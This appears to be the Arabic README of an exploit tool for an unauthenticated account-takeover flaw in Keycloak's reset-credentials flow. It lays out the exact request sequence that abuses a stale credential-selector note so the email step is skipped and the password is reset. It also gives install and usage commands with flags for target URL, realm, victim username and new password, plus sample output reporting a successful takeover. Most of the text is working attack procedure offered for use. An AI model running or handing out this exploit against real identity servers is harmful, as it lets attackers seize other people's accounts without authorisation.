1. GET  /realms/{realm}/protocol/openid-connect/auth
         → إنشاء جلسة OIDC، استخراج رابط نسيت كلمة المرور

2. GET  /login-actions/reset-credentials?...
         → تحميل نموذج إعادة تعيين بيانات الاعتماد

3. POST tryAnotherWay=on
         → تعيين ملاحظة AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED (الخطأ 1)

4. POST username={target}  →  نموذج المحدد
         → ربط المستخدم المستهدف بجلسة المصادقة، تشغيل خطوة البريد الإلكتروني

5. GET  /login-actions/restart?...
         → اختياري: محاكاة استطلاع جلسة المتصفح

6. GET  /login-actions/reset-credentials?...  (نفس رابط الخطوة 2)
         → ملاحظة المحدد القديمة ما زالت موجودة → يظهر محدد بيانات الاعتماد مجددًا

7. POST username={target}  →  المحدد القديم
         → ResetCredentialEmail يرى الملاحظة، يستدعي context.success() (الخطأ 2)
         → يتقدم التدفق مباشرة إلى UPDATE_PASSWORD — لا يتم إرسال بريد إلكتروني

8. POST password-new={attacker_password}
         → تم الاستيلاء على الحساب

python3 -m pip install requests

python3 exploit_cve_2026_18963.py \
    --url https://target.com \
    --realm master \
    --username [email protected] \
    --new-password NewPass123!

--url              عنوان Keycloak الأساسي (مطلوب)
--realm            النطاق المستهدف (الافتراضي: master)
--username         اسم المستخدم أو البريد الإلكتروني للحساب المراد الاستيلاء عليه (مطلوب)
--new-password     كلمة المرور المراد تعيينها على الحساب المستهدف (مطلوب)
--client-id        معرّف عميل OIDC (الافتراضي: account)
--auth-prefix      auto | new | old
                     auto = اكتشاف تلقائي (الافتراضي)
                     new  = /realms/...        (Keycloak >= 17)
                     old  = /auth/realms/...   (Keycloak < 17)
-v, --verbose      طباعة تتبع HTTP كامل
--skip-version-check

# اكتشاف تلقائي لبادئة عنوان Keycloak القديمة/الجديدة
python3 exploit_cve_2026_18963.py \
    --url https://sso.example.com \
    --realm myrealm \
    --username [email protected] \
    --new-password Pwn3d2026!

# فرض بادئة /auth/ القديمة (Keycloak < 17)
python3 exploit_cve_2026_18963.py \
    --url https://sso.example.com \
    --realm myrealm \
    --username [email protected] \
    --new-password Pwn3d2026! \
    --auth-prefix old

# تتبع HTTP مفصّل
python3 exploit_cve_2026_18963.py \
    --url https://sso.example.com \
    --realm myrealm \
    --username [email protected] \
    --new-password Pwn3d2026! \
    -v

  CVE-2026-18963  |  الاستيلاء على الحساب بدون مصادقة في Keycloak
  المستخدم : [email protected]

[الخطوة 0] اكتشاف الإصدار وبادئة المسار
[+] بادئة المسار: '/auth'  →  تم اكتشافها
[?] لم يتم اكتشاف الإصدار — المتابعة على أي حال.

  الهدف : https://sso.example.com/auth/realms/myrealm

[الخطوة 1] فتح نموذج إعادة تعيين بيانات الاعتماد عبر رابط نسيت كلمة المرور في OIDC
[+] تم إنشاء جلسة OIDC
[+] تم تحميل نموذج إعادة تعيين بيانات الاعتماد

[الخطوة 2] POST tryAnotherWay=on  →  تعيين ملاحظة المحدد (الخطأ 1)
[+] تم استلام نموذج محدد بيانات الاعتماد

[الخطوة 3] POST username='[email protected]'  →  ربط المستخدم، تشغيل خطوة البريد الإلكتروني
[+] تم تشغيل خطوة البريد الإلكتروني — تم العثور على رابط استطلاع الجلسة

[الخطوة 4] GET مسار استطلاع الجلسة (اختياري)

[الخطوة 5] إعادة زيارة رابط نسيت كلمة المرور  →  الحصول على المحدد القديم
[+] تم استلام نموذج محدد بيانات الاعتماد القديم

[الخطوة 6] POST username إلى المحدد القديم  →  تشغيل الالتفاف (الخطأ 2)
[+] تم الالتفاف بنجاح — تم استلام نموذج تحديث كلمة المرور

[الخطوة 7] تعيين كلمة مرور جديدة

============================================================
  [+] نجاح — اكتمل الاستيلاء على الحساب
  [+] الهدف   : https://sso.example.com/auth/realms/myrealm
  [+] المستخدم : [email protected]
  [+] كلمة المرور : Pwn3d2026!
============================================================